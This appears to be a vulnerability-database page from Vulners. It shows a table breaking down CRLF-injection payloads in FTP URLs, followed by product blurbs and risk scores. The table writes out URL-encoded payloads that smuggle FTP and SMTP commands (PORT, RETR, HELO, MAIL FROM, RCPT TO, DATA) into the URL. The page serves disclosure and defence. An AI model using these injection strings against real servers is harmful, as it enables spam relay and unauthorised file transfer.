10
| Parameter | Position | Path | Description | CWE |
|---|---|---|---|---|
| PORT a,b,c,d,e,f | path | ftp://ftp.example.com/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file | Arbitrary FTP commands injected via FTP URL containing a URL-encoded newline to manipulate the FTP session (PORT/RETR). | |
| RETR /file | path | ftp://ftp.example.com/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file | Arbitrary FTP commands injected via FTP URL containing a URL-encoded newline to manipulate the FTP session (PORT/RETR). | |
| HELO mail | path | ftp://foo%0d%0aHELO%20mail%0d%0aMAIL%20FROM%3a<username%40example.com>%0d%0aRCPT%20TO%3a<username%40example.com>%0d%0aDATA%0d%0aSubject%3a%20hacked%0d%0aTo%3a%20username%40example.com%0d%0a%0d%0ahacked%0d%0a.%0d%0a:[email protected]:25/ | CRLF injection in an FTP URL allows embedding FTP commands (e.g., HELO, MAIL, RCPT, DATA) to cause server actions such as sending mail. | |
| MAIL FROM | path | ftp://foo%0d%0aHELO%20mail%0d%0aMAIL%20FROM%3a<username%40example.com>%0d%0aRCPT%20TO%3a<username%40example.com>%0d%0aDATA%0d%0aSubject%3a%20hacked%0d%0aTo%3a%20username%40example.com%0d%0a%0d%0ahacked%0d%0a.%0d%0a:[email protected]:25/ | CRLF injection in an FTP URL allows embedding FTP commands (e.g., HELO, MAIL, RCPT, DATA) to cause server actions such as sending mail. | |
| RCPT TO | path | ftp://foo%0d%0aHELO%20mail%0d%0aMAIL%20FROM%3a<username%40example.com>%0d%0aRCPT%20TO%3a<username%40example.com>%0d%0aDATA%0d%0aSubject%3a%20hacked%0d%0aTo%3a%20username%40example.com%0d%0a%0d%0ahacked%0d%0a.%0d%0a:[email protected]:25/ | CRLF injection in an FTP URL allows embedding FTP commands (e.g., HELO, MAIL, RCPT, DATA) to cause server actions such as sending mail. | |
| DATA | path | ftp://foo%0d%0aHELO%20mail%0d%0aMAIL%20FROM%3a<username%40example.com>%0d%0aRCPT%20TO%3a<username%40example.com>%0d%0aDATA%0d%0aSubject%3a%20hacked%0d%0aTo%3a%20username%40example.com%0d%0a%0d%0ahacked%0d%0a.%0d%0a:[email protected]:25/ | CRLF injection in an FTP URL allows embedding FTP commands (e.g., HELO, MAIL, RCPT, DATA) to cause server actions such as sending mail. | |
| Subject | path | ftp://foo%0d%0aHELO%20mail%0d%0aMAIL%20FROM%3a<username%40example.com>%0d%0aRCPT%20TO%3a<username%40example.com>%0d%0aDATA%0d%0aSubject%3a%20hacked%0d%0aTo%3a%20username%40example.com%0d%0a%0d%0ahacked%0d%0a.%0d%0a:[email protected]:25/ | CRLF injection in an FTP URL allows embedding FTP commands (e.g., HELO, MAIL, RCPT, DATA) to cause server actions such as sending mail. | |
| To | path | ftp://foo%0d%0aHELO%20mail%0d%0aMAIL%20FROM%3a<username%40example.com>%0d%0aRCPT%20TO%3a<username%40example.com>%0d%0aDATA%0d%0aSubject%3a%20hacked%0d%0aTo%3a%20username%40example.com%0d%0a%0d%0ahacked%0d%0a.%0d%0a:[email protected]:25/ | CRLF injection in an FTP URL allows embedding FTP commands (e.g., HELO, MAIL, RCPT, DATA) to cause server actions such as sending mail. |
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
16 Jun 2026 22:07Current
7.2High risk
Vulners AI Score7.2
CVSS 27.5
EPSS0.04437